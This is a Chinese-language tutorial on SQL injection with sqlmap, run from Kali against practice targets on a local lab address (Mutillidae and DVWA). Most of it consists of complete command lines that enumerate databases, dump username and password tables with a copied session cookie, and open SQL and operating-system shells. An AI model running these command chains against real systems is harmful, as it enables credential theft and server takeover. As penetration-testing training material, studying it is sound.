SQL注入流程:
- 判断是否有SQL注入漏洞;
- 判断操作系统、数据库和web应用的类型;
- 获取数据库信息,包括管理员信息及拖库;
- 加密信息破解,sqlmap可自动破解;
- 提升权限,获得sql-shell、os-shell、登录应用后台;
SQL注入比较好用的工具,首推开源工具SQLmap
。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
一、GET 方法进入
- kali终端
注意:链接为上面复制的链接 -u指定链接root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details"
- -p指定注入点,此链接 username 和 password 都可以
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username
这里存放的是sqlmap显示的内容
- --dbs 获取所有数据库
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --dbs
- --users 获取所有用户
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --users
- --current-user 获取当前使用用户
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --current-user
sqlmap 参数解析
--users
--current-user
--dbs
--current-db
-D "database_name" --tables
-D "database_name" -T "table_name" --columns
--dump-all
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成
示例步骤:
1. 获得当前数据库
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch --current-db
2. 获得数据库表
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp --tables
3. 获得表的字段
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp -T accounts --columns
4. 获得表中的数据
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp -T accounts -C "username, password" --dump
二、POST方法注入
需要带cookie才能访问的注入页面,
--cookie=" "
F12进入开发者模式,复制 cookie值
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch
成功
- 获取所有库
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --dbs
权限问题只能看见两个库
- 后面添加参数和GET一样
三、数据获取
--users
--current-user
--dbs
--current-db
-D "database_name" --tables
-D "database_name" -T "table_name" --columns
--dump-all
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" -C "username, password" --dump
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --users
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --current-db
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" --tables
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" --columns
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" -C "username,password" --dump
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" --dump
四、提权操作
1. 与数据库交互 --sql-shell
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --sql-shell
sql-shell> select * from users;
2. 与操作系统交互 --os-shell
需要对网站目录有写权限,否则无法创建os-shell
使用GET方法
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch --os-shell